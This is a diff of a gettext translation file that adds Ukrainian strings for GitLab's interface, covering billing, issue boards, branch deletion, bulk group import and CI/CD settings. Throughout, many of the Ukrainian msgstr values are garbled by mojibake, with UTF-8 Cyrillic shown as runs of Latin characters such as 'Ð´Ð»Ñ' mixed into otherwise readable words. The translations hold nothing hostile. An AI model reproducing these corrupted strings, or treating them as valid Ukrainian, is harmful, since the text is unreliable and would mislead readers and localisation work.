+msgstr "до ÐºÑ–Ð½Ñ†Ñ Ð²Ð°ÑˆÐ¾Ñ— підпиÑки"
msgid "BillingPlans|frequently asked questions"
msgstr "ЧаÑÑ‚Ñ– питаннÑ"
@@ -5548,13 +5625,13 @@ msgid "BillingPlans|per user"
msgstr "За кориÑтувача"
msgid "BillingPlan|Contact sales"
-msgstr ""
+msgstr "Зв'ÑзатиÑÑ Ð· відділом продажів"
msgid "BillingPlan|Upgrade"
msgstr "Підвищити"
msgid "BillingPlan|Upgrade for free"
-msgstr ""
+msgstr "Безкоштовно перейти на кращий тарифний план"
msgid "Billings|%{planName} plan"
msgstr ""
@@ -5584,10 +5661,10 @@ msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to
msgstr ""
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
-msgstr ""
+msgstr "Ð”Ð»Ñ Ð²Ð¸ÐºÐ¾Ñ€Ð¸ÑÑ‚Ð°Ð½Ð½Ñ Ð±ÐµÐ·ÐºÐ¾ÑˆÑ‚Ð¾Ð²Ð½Ð¸Ñ… хвилин запуÑку на доÑтупних Runner'ах, необхідно додати кредитну або дебетову картку. Це необхідно Ð´Ð»Ñ Ð·Ð¼ÐµÐ½ÑˆÐµÐ½Ð½Ñ Ð·Ð»Ð¾Ð²Ð¶Ð¸Ð²Ð°Ð½Ð½Ñ Ñ–Ð½Ñ„Ñ€Ð°Ñтруктурою GitLab. %{strongStart}GitLab не розповÑюджує та не зберігає дані вашої картки, вони будуть викориÑтані лише Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸.%{strongEnd}"
msgid "Billings|User successfully validated"
-msgstr ""
+msgstr "КориÑтувача уÑпішно перевірено."
msgid "Billings|User validation required"
msgstr ""
@@ -5599,7 +5676,7 @@ msgid "Billings|Validate user account"
msgstr ""
msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
-msgstr ""
+msgstr "Ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Ð¿Ñ€Ð¾Ð¹ÑˆÐ¾Ð² перевірку. Ви можете викориÑтовувати безкоштовні хвилини Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð²."
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5617,13 +5694,13 @@ msgid "Billing|Cannot remove user"
msgstr ""
msgid "Billing|Direct memberships"
-msgstr ""
+msgstr "ПрÑме членÑтво"
msgid "Billing|Enter at least three characters to search."
-msgstr ""
+msgstr "Введіть щонайменше три Ñимволи Ð´Ð»Ñ Ð¿Ð¾ÑˆÑƒÐºÑƒ."
msgid "Billing|Export list"
-msgstr ""
+msgstr "ЕкÑпортувати ÑпиÑок"
msgid "Billing|Group"
msgstr "Група"
@@ -5632,10 +5709,10 @@ msgid "Billing|Group invite"
msgstr "Ð—Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ Ð² групу"
msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
-msgstr ""
+msgstr "УчаÑники, Ñкі були запрошені за допомогою Ð·Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ Ð´Ð¾ групи, не можуть бути видалені. Ви можете або видалити вÑÑŽ групу, або попроÑити влаÑника групи видалити учаÑника."
msgid "Billing|No users to display."
-msgstr ""
+msgstr "Ðемає кориÑтувачів Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ."
msgid "Billing|Private"
msgstr "Приватний"
@@ -5644,7 +5721,7 @@ msgid "Billing|Project invite"
msgstr "Ð—Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ Ð´Ð¾ проєкту"
msgid "Billing|Remove user %{username} from your subscription"
-msgstr ""
+msgstr "Видалити кориÑтувача %{username} з вашої підпиÑки"
msgid "Billing|Toggle seat details"
msgstr ""
@@ -5653,13 +5730,16 @@ msgid "Billing|Type %{username} to confirm"
msgstr "Введіть %{username} щоб підтвердити"
msgid "Billing|User was successfully removed"
-msgstr ""
+msgstr "КориÑтувача уÑпішно видалено"
msgid "Billing|Users occupying seats in"
+msgstr "КориÑтувачі займають міÑÑ†Ñ Ð²"
+
+msgid "Billing|View pending approvals"
msgstr ""
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
-msgstr ""
+msgstr "Ви збираєтеÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ кориÑтувача %{username} з вашої підпиÑки. Якщо ви продовжите, кориÑтувача буде видалено з групи %{namespace} та вÑÑ–Ñ… Ñ—Ñ— підгруп та проєктів. Цю дію не можна буде відмінити."
msgid "Bitbucket Server Import"
msgstr "Імпорт з Bitbucket Server"
@@ -5690,7 +5770,7 @@ msgid "Blocked issue"
msgstr "Заблокована задача"
msgid "Blocking"
-msgstr ""
+msgstr "БлокуваннÑ"
msgid "Blocking issues"
msgstr ""
@@ -5711,10 +5791,10 @@ msgid "BoardNewEpic|Groups"
msgstr "Групи"
msgid "BoardNewEpic|Loading groups"
-msgstr ""
+msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð³Ñ€ÑƒÐ¿"
msgid "BoardNewEpic|No matching results"
-msgstr ""
+msgstr "Ðемає відповідних результатів"
msgid "BoardNewEpic|Search groups"
msgstr "Пошук груп"
@@ -5723,7 +5803,7 @@ msgid "BoardNewEpic|Select a group"
msgstr "Виберіть групу"
msgid "BoardNewIssue|No matching results"
-msgstr ""
+msgstr "Ðемає відповідних результатів"
msgid "BoardNewIssue|Projects"
msgstr "Проєкти"
@@ -5735,23 +5815,35 @@ msgid "BoardNewIssue|Select a project"
msgstr "Вибрати проєкт"
msgid "BoardScope|An error occurred while getting milestones, please try again."
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ ÐµÑ‚Ð°Ð¿Ñ–Ð² ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
+
+msgid "BoardScope|An error occurred while searching for labels, please try again."
msgstr ""
msgid "BoardScope|An error occurred while searching for users, please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¿Ð¾ÑˆÑƒÐºÑƒ кориÑтувачів ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
msgid "BoardScope|Any Milestone"
msgstr "Будь-Ñкий етап"
msgid "BoardScope|Any assignee"
+msgstr "Будь-Ñкий виконавець"
+
+msgid "BoardScope|Any label"
msgstr ""
msgid "BoardScope|Assignee"
+msgstr "Виконавець"
+
+msgid "BoardScope|Choose labels"
msgstr ""
msgid "BoardScope|Edit"
msgstr "Редагувати"
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr "Етап"
@@ -5762,19 +5854,22 @@ msgid "BoardScope|Search milestones"
msgstr "Пошук етапів"
msgid "BoardScope|Select assignee"
+msgstr "Обрати виконавцÑ"
+
+msgid "BoardScope|Select labels"
msgstr ""
msgid "BoardScope|Select milestone"
msgstr "Вибрати етап"
msgid "BoardScope|Select weight"
-msgstr ""
+msgstr "Обрати вагу"
msgid "BoardScope|Started"
-msgstr ""
+msgstr "Розпочато"
msgid "BoardScope|Upcoming"
-msgstr ""
+msgstr "Ðезабаром"
msgid "BoardScope|Weight"
msgstr "Вага"
@@ -5793,52 +5888,52 @@ msgstr[2] ""
msgstr[3] ""
msgid "Boards|An error occurred while creating the epic. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ ÐµÐ¿Ñ–ÐºÑƒ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
msgid "Boards|An error occurred while creating the issue. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡Ñ– ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
msgid "Boards|An error occurred while creating the list. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ ÑпиÑку ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
msgid "Boards|An error occurred while fetching child groups. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð´Ð¾Ñ‡Ñ–Ñ€Ð½Ñ–Ñ… груп ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
msgid "Boards|An error occurred while fetching group projects. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð³Ñ€ÑƒÐ¿Ð¾Ð²Ð¸Ñ… проєктів ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, перезавантажте Ñторінку."
msgid "Boards|An error occurred while fetching labels. Please reload the page."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð¼Ñ–Ñ‚Ð¾Ðº ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, перезавантажте Ñторінку."
msgid "Boards|An error occurred while fetching the board epics. Please reload the page."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ ÐµÐ¿Ñ–ÐºÑ–Ð² дошки ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, перезавантажте Ñторінку."
msgid "Boards|An error occurred while fetching the board issues. Please reload the page."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡ дошки ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, перезавантажте Ñторінку."
msgid "Boards|An error occurred while fetching the board lists. Please reload the page."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ ÑпиÑків дошки ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, перезавантажте Ñторінку."
msgid "Boards|An error occurred while fetching the board swimlanes. Please reload the page."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡ дошки ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, перезавантажте Ñторінку."
msgid "Boards|An error occurred while generating lists. Please reload the page."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ ÑпиÑків ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, перезавантажте Ñторінку."
msgid "Boards|An error occurred while moving the epic. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¿ÐµÑ€ÐµÐ¼Ñ–Ñ‰ÐµÐ½Ð½Ñ ÐµÐ¿Ñ–ÐºÑƒ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
msgid "Boards|An error occurred while moving the issue. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¿ÐµÑ€ÐµÐ¼Ñ–Ñ‰ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡Ñ– ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
msgid "Boards|An error occurred while removing the list. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ ÑпиÑку ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
msgid "Boards|An error occurred while updating the board list. Please try again."
-msgstr ""
+msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ ÑпиÑку дошки ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, Ñпробуйте ще раз."
msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
@@ -5859,9 +5954,12 @@ msgstr "Розгорнути"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
-msgid "Boards|New epic"
+msgid "Boards|New board"
msgstr ""
+msgid "Boards|New epic"
+msgstr "Ðовий епік"
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5871,20 +5969,23 @@ msgstr ""
msgid "Boards|View scope"
msgstr "ПереглÑнути облаÑÑ‚ÑŒ видимоÑÑ‚Ñ–"
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
msgid "Board|Board scope"
-msgstr ""
+msgstr "ОблаÑÑ‚ÑŒ заÑтоÑÑƒÐ²Ð°Ð½Ð½Ñ Ð´Ð¾ÑˆÐºÐ¸"
msgid "Board|Create board"
msgstr ""
msgid "Board|Create new board"
-msgstr ""
+msgstr "Створити нову дошку"
msgid "Board|Delete board"
-msgstr ""
+msgstr "Видалити дошку"
msgid "Board|Edit board"
msgstr "Редагувати дошку"
@@ -5893,19 +5994,19 @@ msgid "Board|Enter board name"
msgstr "Введіть ім'Ñ Ð´Ð¾ÑˆÐºÐ¸"
msgid "Board|Failed to delete board. Please try again."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ дошку. Будь лаÑка, Ñпробуйте ще раз."
msgid "Board|Load more epics"
-msgstr ""
+msgstr "Завантажити більше епіків"
msgid "Board|Load more issues"
msgstr "Завантажити більше задач"
msgid "Board|Loading epics"
-msgstr ""
+msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ ÐµÐ¿Ñ–ÐºÑ–Ð²"
msgid "Bold text"
-msgstr ""
+msgstr "Жирний текÑÑ‚"
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5917,7 +6018,7 @@ msgid "Branch %{branchName} was not found in this project's repository."
msgstr "Гілка %{branchName} відÑÑƒÑ‚Ð½Ñ Ð² репозиторії цього проєкту."
msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr ""
+msgstr "Гілку %{branch_name} Ñтворено. Ð”Ð»Ñ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡Ð½Ð¾Ð³Ð¾ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð²Ð¸Ð±ÐµÑ€Ñ–Ñ‚ÑŒ шаблон GitLab CI Yaml та закомітьте зміни. %{link_to_autodeploy_doc}"
msgid "Branch already exists"
msgstr "Гілка вже Ñ–Ñнує"
@@ -5947,10 +6048,10 @@ msgid "Branches|All"
msgstr "Ð’ÑÑ–"
msgid "Branches|Cancel, keep branch"
-msgstr ""
+msgstr "СкаÑувати, залишити гілку"
msgid "Branches|Can’t find HEAD commit for this branch"
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð·Ð½Ð°Ð¹Ñ‚Ð¸ HEAD-коміт Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— гілки"
msgid "Branches|Compare"
msgstr "ПорівнÑти"
@@ -5974,10 +6075,10 @@ msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "Видалити захищену гілку \"%{branch_name}\"?"
msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
-msgstr ""
+msgstr "Видалити захищену гілку. Ви ÐБСОЛЮТÐО Впевнені?"
msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
-msgstr ""
+msgstr "Ðе можна ÑкаÑувати Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð³Ñ–Ð»ÐºÐ¸ %{strongStart}%{branchName}%{strongEnd}. Ви впевнені?"
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "Ð’Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð³Ñ–Ð»ÐºÐ¸ '%{branch_name}' неможливо буде ÑкаÑувати. Ви впевнені?"
@@ -6001,7 +6102,7 @@ msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot
msgstr "Як тільки ви підтвердите Ñ– натиÑнете %{delete_protected_branch}, дані будуть втрачені, Ñ– Ñ—Ñ… не можливо буде відновити."
msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
-msgstr ""
+msgstr "ПіÑÐ»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ñ‚Ð° натиÑÐºÐ°Ð½Ð½Ñ %{strongStart}%{buttonText}%{strongEnd}, його не можна буде ÑкаÑувати або відновити."
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "Тільки керівник або влаÑник проєкту може видалити захищену гілку"
@@ -6046,7 +6147,7 @@ msgid "Branches|The default branch cannot be deleted"
msgstr "Гілка \"за замовчуваннÑм\" не може бути видалена"
msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
-msgstr ""
+msgstr "Ð¦Ñ Ð³Ñ–Ð»ÐºÐ° не була об'єднана в %{defaultBranchName}. Щоб уникнути втрати даних, об’єднайте цю гілку перед Ñ—Ñ— видаленнÑм."
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "Ð¦Ñ Ð³Ñ–Ð»ÐºÐ° не була злита в %{default_branch}."
@@ -6061,7 +6162,7 @@ msgid "Branches|To discard the local changes and overwrite the branch with the u
msgstr "Щоб відхилити локальні зміни Ñ– перезапиÑати гілку верÑією з upstream, видаліть Ñ—Ñ— тут Ñ– виберіть \"Оновити зараз\" вище."
msgid "Branches|Unable to load branches"
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ гілки"
msgid "Branches|Yes, delete branch"
msgstr "Так, видалити гілку"
@@ -6070,10 +6171,10 @@ msgid "Branches|Yes, delete protected branch"
msgstr "Так, видалити захищену гілку"
msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
-msgstr ""
+msgstr "Ви збираєтеÑÑŒ назавжди видалити гілку %{strongStart}%{branchName}.%{strongEnd}"
msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
-msgstr ""
+msgstr "Ви збираєтеÑÑ Ð¾Ñтаточно видалити захищену гілку %{strongStart}%{branchName}.%{strongEnd}"
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "Ви збираєтеÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ захищену гілку %{branch_name}."
@@ -6091,10 +6192,10 @@ msgid "Branches|protected"
msgstr "захищена"
msgid "Breadcrumbs"
-msgstr ""
+msgstr "Хлібні крихти"
msgid "Brief title about the change"
-msgstr ""
+msgstr "Коротка назва змін"
msgid "Broadcast Message was successfully created."
msgstr "ÐžÐ³Ð¾Ð»Ð¾ÑˆÐµÐ½Ð½Ñ ÑƒÑпішно Ñтворено."
@@ -6124,7 +6225,7 @@ msgid "Browse files"
msgstr "ПереглÑд файлів"
msgid "Browse templates"
-msgstr ""
+msgstr "ОглÑд шаблонів"
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr "Помилка при отриманні артефактів"
@@ -6139,10 +6240,10 @@ msgid "Bulk request concurrency"
msgstr ""
msgid "Bulk update"
-msgstr ""
+msgstr "МаÑове оновленнÑ"
msgid "BulkImports|Re-import creates a new group. It does not sync with the existing group."
-msgstr ""
+msgstr "Повторний імпорт Ñтворює нову групу. Він не ÑинхронізуєтьÑÑ Ð· наÑвною групою."
msgid "BulkImport|Existing groups"
msgstr "ІÑнуючі групи"
@@ -6151,7 +6252,7 @@ msgid "BulkImport|Filter by source group"
msgstr ""
msgid "BulkImport|From source group"
-msgstr ""
+msgstr "З групи джерел"
msgid "BulkImport|Group import history"
msgstr ""
@@ -6160,12 +6261,15 @@ msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source
msgstr ""
msgid "BulkImport|Import groups from GitLab"
+msgstr "Імпорт груп із GitLab"
+
+msgid "BulkImport|Import is finished. Pick another name for re-import"
msgstr ""
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6174,38 +6278,41 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr "Ім'Ñ Ð²Ð¶Ðµ Ñ–Ñнує."
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr "Ðова група"
msgid "BulkImport|No history is available"
-msgstr ""
+msgstr "ІÑÑ‚Ð¾Ñ€Ñ–Ñ Ð½ÐµÐ´Ð¾Ñтупна"
msgid "BulkImport|No parent"
-msgstr ""
+msgstr "Ðемає батьківÑького елемента"
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
-msgstr ""
+msgstr "Показано %{start}-%{end} із %{total}"
msgid "BulkImport|Showing %{start}-%{end} of %{total} from %{link}"
msgstr ""
msgid "BulkImport|Showing %{start}-%{end} of %{total} matching filter \"%{filter}\" from %{link}"
-msgstr ""
+msgstr "Показано %{start}-%{end} із %{total} відповідного фільтра \"%{filter}\" від %{link}"
msgid "BulkImport|Source group"
-msgstr ""
+msgstr "Група джерел"
msgid "BulkImport|To new group"
msgstr "Ð”Ð»Ñ Ð½Ð¾Ð²Ð¾Ñ— групи"
msgid "BulkImport|Update of import statuses with realtime changes failed"
-msgstr ""
+msgstr "Помилка Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ð¾Ð²Ð°Ð½Ð¸Ñ… проєктів із змінами в реальному чаÑÑ–."
msgid "BulkImport|You have no groups to import"
-msgstr ""
+msgstr "У Ð²Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” груп Ð´Ð»Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ñƒ"
msgid "BulkImport|Your imported groups will appear here."
-msgstr ""
+msgstr "Ваші імпортовані групи з'ÑвлÑÑ‚ÑŒÑÑ Ñ‚ÑƒÑ‚."
msgid "BulkImport|expected an associated Group but has an associated Project"
msgstr ""
@@ -6214,7 +6321,7 @@ msgid "BulkImport|expected an associated Project but has an associated Group"
msgstr ""
msgid "BulkImport|must be a group"
-msgstr ""
+msgstr "повинен бути групою"
msgid "Burndown chart"
msgstr "Графік виконаннÑ"
@@ -6292,7 +6399,7 @@ msgid "CI/CD configuration"
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ CI/CD"
msgid "CI/CD configuration file"
-msgstr ""
+msgstr "Файл конфігурації CI/CD"
msgid "CI/CD|No projects have been added to the scope"
msgstr ""
@@ -6304,10 +6411,10 @@ msgid "CICDAnalytics|All time"
msgstr "УвеÑÑŒ чаÑ"
msgid "CICDAnalytics|Deployment frequency"
-msgstr ""
+msgstr "ЧаÑтота розгортаннÑ"
msgid "CICDAnalytics|Lead time"
-msgstr ""
+msgstr "Ð§Ð°Ñ Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ"
msgid "CICDAnalytics|Projects with releases"
msgstr "Проєкти з релізами"
@@ -6329,10 +6436,10 @@ msgid "CICDAnalytics|Something went wrong while fetching release statistics"
msgstr ""
msgid "CICD|Add a %{base_domain_link_start}base domain%{link_end} to your %{kubernetes_cluster_link_start}Kubernetes cluster%{link_end} for your deployment strategy to work."
-msgstr ""
+msgstr "Додайти %{base_domain_link_start}базовий домен%{link_end} у Ñвій %{kubernetes_cluster_link_start} клаÑтер Kubernetes%{link_end}, щоб ваша ÑÑ‚Ñ€Ð°Ñ‚ÐµÐ³Ñ–Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð¿Ñ€Ð°Ñ†ÑŽÐ²Ð°Ð»Ð°."
msgid "CICD|Add a %{kubernetes_cluster_link_start}Kubernetes cluster integration%{link_end} with a domain, or create an AUTO_DEVOPS_PLATFORM_TARGET CI variable."
-msgstr ""
+msgstr "Додати %{kubernetes_cluster_link_start}інтеграцію із клаÑтером Kubernetes%{link_end} з доменом або Ñтворити змінну AUTO_DEVOPS_PLATFORM_TARGET CI."
msgid "CICD|Add an existing project to the scope"
msgstr ""
@@ -6362,10 +6469,10 @@ msgid "CICD|Jobs"
msgstr "ЗавданнÑ"
msgid "CICD|Limit CI_JOB_TOKEN access"
-msgstr ""
+msgstr "Обмежити доÑтуп CI_JOB_TOKEN"
msgid "CICD|Select projects that can be accessed by API requests authenticated with this project's CI_JOB_TOKEN CI/CD variable."
-msgstr ""
+msgstr "Виберіть проєкти, до Ñких можна отримати доÑтуп за допомогою запитів API, автентифікованих за допомогою змінної CI_JOB_TOKEN CI/CD цього проєкту."
msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr "Конвеєр Auto DevOps запуÑкаєтьÑÑ Ð·Ð° замовчуваннÑм у вÑÑ–Ñ… проєктах без конфігурації CI/CD."
@@ -6401,7 +6508,7 @@ msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project
msgstr ""
msgid "CVE|CVE ID Request"
-msgstr ""
+msgstr "Запит на CVE ID"
msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
msgstr ""
@@ -6421,6 +6528,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr "URL зворотнього виклику"
@@ -6449,13 +6559,13 @@ msgid "Can be manually deployed to"
msgstr "Можна вручну розгорнути на"
msgid "Can be overridden in each project."
-msgstr ""
+msgstr "Може бути перевизначено в кожному проєкті."
msgid "Can create groups:"
msgstr "Може Ñтворити групи:"
msgid "Can't apply as the source branch was deleted."
-msgstr ""
+msgstr "Ðе вдаєтьÑÑ Ð·Ð°ÑтоÑувати, оÑкільки гілку джерела видалено."
msgid "Can't apply as these lines were changed in a more recent version."
msgstr ""
@@ -6464,13 +6574,13 @@ msgid "Can't apply as this line was changed in a more recent version."
msgstr ""
msgid "Can't apply this suggestion."
-msgstr ""
+msgstr "Ðе можна заÑтоÑувати цю пропозицію."
msgid "Can't be empty"
msgstr "Ðе може бути порожнім"
msgid "Can't create snippet: %{err}"
-msgstr ""
+msgstr "Ðеможливо Ñтворити Ñніпет: %{err}"
msgid "Can't fetch content for the blob: %{err}"
msgstr ""
@@ -6518,7 +6628,7 @@ msgid "CanaryIngress|Doing so will set a deployment change in progress. This tem
msgstr ""
msgid "CanaryIngress|Stable"
-msgstr ""
+msgstr "Стабільний"
msgid "CanaryIngress|You are changing the ratio of the canary rollout for %{environment} compared to the stable deployment to:"
msgstr ""
@@ -6530,7 +6640,7 @@ msgid "Cancel and close"
msgstr "СкаÑувати та закрити"
msgid "Cancel index deletion"
-msgstr ""
+msgstr "СкаÑувати Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ñ–Ð½Ð´ÐµÐºÑу"
msgid "Cancel running"
msgstr "СкаÑувати запуÑк"
